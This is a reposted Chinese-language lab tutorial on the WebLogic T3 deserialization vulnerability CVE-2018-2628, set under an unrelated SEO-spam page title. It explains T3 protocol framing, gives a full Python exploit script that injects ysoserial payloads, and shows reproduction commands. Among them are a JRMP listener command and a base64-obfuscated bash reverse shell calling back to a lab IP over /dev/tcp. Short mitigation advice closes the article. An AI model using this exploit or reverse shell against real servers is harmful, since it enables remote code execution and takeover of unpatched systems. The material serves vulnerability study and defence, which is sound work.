您的位置:首页 > 科技 > IT业 > 百度推广需要自己有网站吗_热点新闻事件及观点_西安网站关键词优化推荐_爱用建站

百度推广需要自己有网站吗_热点新闻事件及观点_西安网站关键词优化推荐_爱用建站

2024/12/26 0:38:17 来源:https://blog.csdn.net/m0_74825565/article/details/144703402  浏览:    关键词:百度推广需要自己有网站吗_热点新闻事件及观点_西安网站关键词优化推荐_爱用建站
百度推广需要自己有网站吗_热点新闻事件及观点_西安网站关键词优化推荐_爱用建站

WebLogic T3反序列化漏洞(CVE-2018-2628)

WebLogic在通信过程中使用T3协议传输数据,涉及到了序列化和反序列化操作。

T3协议概述

T3协议是Oracle的私有协议,所以公开的相关资料比较少,这里结合其他师傅的博客简单对T3协议进行一个简要分析。

T3协议是WebLogic的一种专有通信协议,在Weblogic中的RMI通信是使用T3协议实现的(一般的RMI通信使用的是JRMP协议)。

在T3协议中协议协商的协商阶段,会发送一个请求包头(handshake)用来表明这是一个T3协议,它负责定义数据包的基本结构和传输协议的版本信息。

客户端会首先发送下面的信息给weblogic服务器:

t3 12.2.3
AS:255
HL:19
nMS:10000000

模拟发包

使用python模拟发包,使用wireshark抓包nat网卡查看

import sockethandshake = "t3 12.2.3
AS:255
HL:19
MS:10000000"
ip = "192.168.88.150"
port = 7001sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.sendall(handshake.encode())
data = sock.recv(1024)

在这里插入图片描述

服务器收到消息后,会回复类似的信息

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

响应包头中HELO后面的内容是被连接的weblogic的版本号12.2.1.3。通信双方根据对方发来的协议协商信息,开始建立连接。

再协商完毕上面的信息后,客户端会向服务端发送自己的详细信息,这是一段二进制数据。在这段二进制流的前4bytes标识了本次请求的数据长度,然后直到遇到aced 0005序列化数据的标识之前,这部分内容被称为PeerInfo。

以这个PoC脚本( https://www.exploit-db.com/exploits/44553 )请求数据包为例:

在这里插入图片描述

aced 0005之后的就是实际传输的序列化数据。

T3反序列漏洞分析

前面提到WebLogic的RMI是通过T3协议实现的,在T3协议的传输过程中同样会进行序列化和反序列化的操作,所以说T3的反序列漏洞和RMI的反序列漏洞的原理几乎是一致的。

大部分的WebLogic的利用脚本都是使用python编写的,比如上面提到的那个PoC脚本。基本的思路都是替换WebLogic T3协议流中aced 0005部分为恶意的序列化数据来实现反序列化攻击。其实也就就是把ysoserial生成的Payload变成T3协议里的数据格式。

除了由 Exploit Database 提供的利用脚本,还有国内其他师傅写的脚本:

import socket
import sys
import struct
import re
import subprocess
import binasciidef get_payload1(gadget, command):JAR_FILE = './ysoserial.jar'popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)return popen.stdout.read()def get_payload2(path):with open(path, "rb") as f:return f.read()def exp(host, port, payload):sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((host, port))handshake = "t3 12.2.3
AS:255
HL:19
MS:10000000".encode()sock.sendall(handshake)data = sock.recv(1024)pattern = re.compile(r"HELO:(.*).false")version = re.findall(pattern, data.decode())if len(version) == 0:print("Not Weblogic")returnprint("Weblogic {}".format(version[0]))data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志payload = data_len + t3header + flag + payloadpayload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度sock.send(payload)if __name__ == "__main__":host = "192.168.1.40"port = 7001gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21command = "touch /tmp/CVE-2015-4852"payload = get_payload1(gadget, command)exp(host, port, payload)

原理都是一样的,把生成的Payload替换掉原来的序列化的部分,但要保证T3协议格式仍然正确。

造成反序列漏洞的原因一般都是readObject方法在进行反序列化操作出现了问题,T3协议的反序列漏洞也不例外。T3协议接收过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject这里进行反序列化操作。

借一张其他师傅博客的图:

在这里插入图片描述

中间的调用过程先不谈,导致的漏洞产生的直接原因就是在resolveClass方法中也没做任何的校验。

这个resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象。resolveClass没有任何校验的话,就意味着它会获取任意的类的Class对象,这就有了可乘之机,可以轻易获取我们恶意的类的Class对象,从而造成反序列漏洞。

T3协议的利用最早可以追溯到2015的CVE-2015-4582,漏洞存在于Commons-Collections这个库的CC链1的利用。到后来的CVE-2016-0638和CVE-2016-3510都也很类似。

到17年之后的漏洞开始通过构造JRMP服务器监听的方法反向触发,比如第一个CVE-2017-3248,到后来的CVE-2018-2628它对上一个的绕过,之后还有CVE-2020-2555,CVE-2020-2883等漏洞。

漏洞复现

影响版本: Weblogic 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

没有web页面
使用nmap探测weblogic的T3协议是否启用,以及版本号
开启的即可

nmap -sV 192.168.200.142 -p 7001 --script weblogic-t3-info

在这里插入图片描述

1.python

使用python脚本自动化执行命令,改个IP即可使用
输入命令

在这里插入图片描述

成功写入,在tmp目录下成功创建文件

在这里插入图片描述

2.ysoserial

开启JRMP服务监听,选择CC1链。

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "touch /tmp/success-cve-2018-2628"

利用漏洞exp(前面提到的poc),向目标Weblogic发送Payload:

python2 CVE-2018-2628.py 192.168.200.142 7001 ysoserial-all.jar 192.168.50.8 2333 JRMPClient

exp执行完成后,靶机回连本地JRMP服务,JRMP服务端收到请求:

在这里插入图片描述

成功写入

在这里插入图片描述

反弹shell

1.python自动执行的脚本
更改command即可,kali开启监听

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYxCg==}|{base64,-d}|{bash,-i}

base64编码是反弹shell命令:bash -i >& /dev/tcp/192.168.200.131/6666 0>&1

成功获取反弹shell

在这里插入图片描述

2.ysoserial

本地开启JRMP监听,监听本地2333端口,利用链依然使用CC1链:

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYxCg==}|{base64,-d}|{bash,-i}"

在这里插入图片描述

使用exp,向目标Weblogic发送Payload:

python2 CVE-2018-2628.py 192.168.200.142 7001 ysoserial-all.jar 192.168.50.8 2333 JRMPClient

在这里插入图片描述

成功获取shell

在这里插入图片描述

修复措施

关闭T3服务:如果Weblogic控制台端口(默认为7001端口)开放,T3服务会默认开启。关闭T3服务或控制T3服务的访问权限可以防护该漏洞。

更新补丁:应用Oracle官方发布的最新补丁,并升级JDK至1.7.0.21以上版本。

更改代码:如果无法应用补丁或更新JDK,可以考虑更改代码,例如在黑名单中添加特定的类名,以阻断漏洞利用。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com